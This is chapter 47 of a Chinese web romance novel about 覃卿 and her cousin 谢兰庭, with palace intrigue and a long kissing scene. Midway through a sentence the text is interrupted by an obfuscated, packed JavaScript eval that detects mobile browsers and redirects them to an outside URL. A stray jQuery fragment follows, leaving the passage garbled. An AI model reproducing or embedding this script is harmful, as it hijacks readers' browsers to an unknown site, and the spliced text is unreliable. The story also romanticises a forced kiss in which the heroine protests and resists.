47. 看着我!

作品:《表哥,借过一下!

    覃卿放下小兔子,转身将人推出门外。


    大门在眼前倏地合上。


    谢兰庭并未离开,好笑地抱臂倚墙。这小祖宗还是半点儿没变,经不起撩拨。不知想起什么,谢兰庭眼底笑意不减,直到一道身影降至跟前。


    “主子!”长丰单膝跪地。


    谢兰庭收起笑,气势陡然变得压迫。


    长丰顿了一瞬,压低声音禀道,“属下在追击先前伏击淮南王的十余名暗卫时,遇到玄机真人,为保真人安全,五名暗卫趁机逃走···属下失职,还请主子责罚。”


    长丰说完,低着头。


    谢兰庭换个姿势,目光幽幽地飘向他脸上的白狐面具。


    长丰身子微僵,头一时更低。


    “你的任务结束了。”谢兰庭淡淡地收回视线,抬步朝外走。


    长丰收到指令,“是!”


    许久,直到耳边再无声音传来,长丰才起身,飞快看了一眼覃卿所在的房屋,转而闪身离开。


    覃卿这几日一直和谢文颂在一起,两人还约着明日一起赏荷采莲子。


    清晨,覃卿早早醒来,兴冲冲赶来找谢文颂,却被告知表姐他们已经走了。


    覃卿有些埋怨表姐不告而别,闷闷不乐地坐在凉亭里。身边的小兔子这几日吃得太好,肉眼可见地肥了一圈。


    覃卿薅了一把兔毛,故意恐吓道,“还吃,赶明儿把你炖了。”


    小兔子抖了一下耳朵,又低头咀嚼起食物。


    书房内,谢兰庭正处理桌上堆积的奏章,昨儿连夜打发裴元庆回去,令其继续盯着朝堂动静。府上来信说,丞相几番登门造访,势必要见燕王一面。管事的实在不知如何推拒,这才来信询问。


    谢兰庭处理完最后一本奏章,抽空看了一眼底下方宥。


    “让长丰回去顶一阵子。”


    方宥点点头,主子既不提让长丰回边关的事儿,此番又用得上对方。方宥内心莫名欣慰,他的好兄弟终于熬出头。


    方宥连忙将好消息带给长丰,长丰正在屋里捯饬他的那些宝贝。


    “嘿,主子让你先回王府顶替他。主子估计还要陪覃小姐多留一阵子。”方宥拿起桌上的一张人皮面具,其实他一直很好奇,长丰究竟长什么样儿。


    他还记得两人初次见面时,彼时都年轻气盛,认为自己才是最有资格站在主子身边的人,他们明争暗斗,一度看彼此不顺眼。


    方宥现在想来,都觉得好笑。


    他承认对方在伪装功夫上胜他一筹,但论起拳脚,对方绝对打不过他。


    长丰没有搭话,他将最后一张面具刷上蜡油,密封保存。


    方宥凑过来,小声调侃,“对了,你伪装成越国大皇子时,有被人看出端倪吗?”


    长丰瞅了他一眼,就这一眼,方宥觉得与主子平日里看人时极像,又静又冷。


    “我不信,你···”方宥扫到桌面的狐狸面具,手还未伸过去,便被喝止。


    “别动!”


    长丰的声音偏低沉,方宥拿不住这是否是他本音,毕竟‘千面狐狸’的称号名不虚传。这十多年里,方宥没有在他脸上看到过重复的面孔,也没听到过一样的声音。


    “不就一张面具吗,还宝贝上了。”方宥不屑地哼一声。


    再抬头,已然惊在原地。


    要不是知道眼前人,方宥差点就要跪下。


    ‘谢兰庭’正用高高在上的眼神俯视他。那姿态,那神情,几无二致。


    “兄弟,你太厉害!”方宥忍不住凑近,仔仔细细,上上下下查看一番,却找不出一丝破绽。


    方宥抑制不住感叹,“兄弟,就凭这本事儿,主子也舍不得将你支去边关啊,你好好表现,主子一定会将你留在身边的。”


    “不会!”长丰出声。


    “不会什么?”方宥不解,奈何眼前人像锯嘴的葫芦,任凭他怎么追问,始终蹦不出一个字。


    方宥索性作罢,难道是性格不讨喜?一定是这样,主子就喜欢他这样式儿的,活泛又机灵,主子一个眼神,他就知道要做什么。


    果然,还是他在主子心中地位更高。


    方宥传完话,心满意足地离开。


    覃卿再回皇宫时已是一月后。


    这后半年日子过得极快,覃卿闲来无事亦会去文华殿坐坐,只是没了表姐,覃卿觉得很是无趣。谢琉珠倒是还会经常碰见,覃卿发现她有很大变化,不似之前张扬肆意,话不多,有时候隐身在角落,还不如一大臣贵女引人注目。


    覃卿与她并无交流。


    她总感觉,谢琉珠看她的眼神里藏着一股恨意。


    是以,覃卿愈发与之保持距离。


    姜尚涵早就不围着谢琉珠转了,听说丞相近日在安排她相亲,姜尚君曾作为丞相府最璀璨的明珠,如今一倒台,便沦为废棋子。而曾经无人在意的姜尚涵,反而被推举至高位,她们的地位被调换,如今一个在地下,一个在天上。


    丞相府从不缺有野心的人,缺的是机遇,而此时的姜尚涵迎来了她最好的时机。


    上京近日议论最多的便是顾瑛瑛和离再婚,和丞相次女的相亲。两人如同打擂台,轮番上阵,包圆了京城贵妇们茶余饭后的谈资。


    覃卿再次回到王府时,姨母和姨父也回来了,表姐的婚事就在下个月初八,府里上下一派喜庆,大伙儿都忙活着为表姐筹备婚礼。


    覃卿被姨母拉着走进卧室,姨母从柜子里取出一箱盒。


    舒明如掀开盖子,指着里边的两对碧绿镯子道,“这两对镯子,一对是你表姐的嫁妆,一对是你的。”


    覃卿羞涩低头。


    舒明如笑道,“羡安心思重,这世间又鲜少能入他眼,你没来之前,我没少为他的亲事烦心。”


    见覃卿头更低了,舒明如继续道,“羡安若认定了你,一辈子都不会放手。”他们父子都一样,当年要不是迫于圣旨赐婚,龚如菲是断没有机会进王府大门的,这点舒明如从未怀疑。


    舒明如将手镯连同盒子,一起放覃卿手里,“等你姐姐婚礼结束,就要轮到你们了。你姨母我啊,以往是头疼睡不着,现在是高兴地睡不着。”


    “在说什么?”


    谢兰庭撩开帘子走进来,他才从宫里回来,脚都没歇一下,就找了过来。舒明如见他一进来,目光就一直粘在覃卿身上,霸道,且不加收敛。


    舒明如笑而不语。


    这小子真能装,以前怎么没有看出来,他心思藏得如此深。在得知两人好上时,舒明如比谁都高兴,彼时还担


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649725|169600||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心两人因之前的不和心生嫌隙。现在看来,她的担心甚是多余。


    覃卿趁姨母没注意,瞪了对方一眼。


    谢兰庭这才慢悠悠地收回视线,对身旁母亲道,“事情都解决了,以后您和父亲若是觉得无趣,想去庄子散散心,就去小住一阵。若不想去,就留在府里。”


    “真的吗?那你父亲···”舒明如之前怕谢睿身份被识破,一直提心吊胆,出门也是遮遮掩掩。为了避人耳目,甚至搬去郊外庄园。


    谢兰庭点头,“以后不必了。”


    舒明如喜极而泣。


    简单几句话,丝毫不提背后艰辛。


    覃卿视线不由飘向对面。


    在谢兰庭看过来时,又转向一旁。


    舒明如揩着眼角起身,“我得把这个好消息告诉你父亲。”说着人直往外走。


    覃卿颇不自在地起身,也想一起离开,却被人一把拽住。


    “上次问你的事儿,想好了吗?”谢兰庭盯着眼前人,似是对方不把话说清楚,就不放人离开。


    “什么事儿?”覃卿装傻。


    谢兰庭将人堵在墙角,身上的气息跟着沉下来。


    “需要我帮你回忆?”


    覃卿一听,连忙拉起对方的手朝外走。真是的,也不看看这是什么地儿,这人现在怎么就这么蛮不讲理。


    覃卿脸上发烫,手不由抚上唇瓣。这人表面谦谦君子,内里全是离经叛道。她越走越快,生怕谢兰庭做什么出格的事。


    两人快步走进飞莺阁。


    覃卿还未来得及松手,谢兰庭轻轻一拉,将人拽进怀里,一个转身又压在门上。


    覃卿惊呼未出,被一口吞没。


    她挣扎推拒,谢兰庭强势地撬开她的嘴。覃卿起初还清醒反抗,后面被吻得晕头转向,任凭谢兰庭予取予求。


    “疼~”覃卿仰着头,喘息道。


    谢兰庭顿了一瞬,动作越发发狠,他一手按着覃卿后脑勺,一手掐着她的腰。覃卿几乎被他弯折在怀里,眼角通红。


    不知过了多久,覃卿觉得唇舌已麻木,谢兰庭才餍足般将她松开,只一瞬不转地盯着她。目光停留在她发红的眼角,那里挂着浅浅的泪痕。


    谢兰庭俯身,又细细吻上去。


    呼吸灼热,似是要将人融化。


    覃卿难耐地睁眼,谢兰庭抱着她快步及至书房,一把拂开桌上的案牍,奏折文本掉落一地。


    覃卿被抱上案桌,瞥见地上的狼藉,心惊不已。


    头顶落下一片阴影,覃卿下意识抓紧衣领。


    谢兰庭将人圈在怀里,不容覃卿有一丝闪躲。


    “想起来了么?”谢兰庭声音沙哑。


    覃卿难为情地低头。


    “看着我!”谢兰庭挑起她下颌,声音冷了几分。


    覃卿气急之下,张嘴咬上去。


    谢兰庭也不闪躲,见她撒完气,不顾手上牙印,把人揽进怀里,“下次要是不满,直接说出来。”


    覃卿哼了一声,头转去一旁。


    说的好听,刚才有给她机会吗?


    谢兰庭盯着她红肿的唇瓣,目光幽深。覃卿毫无所觉,越想越气,忍不住抬脚踢了一下。


    谢兰庭本可躲过,却生生承了一脚。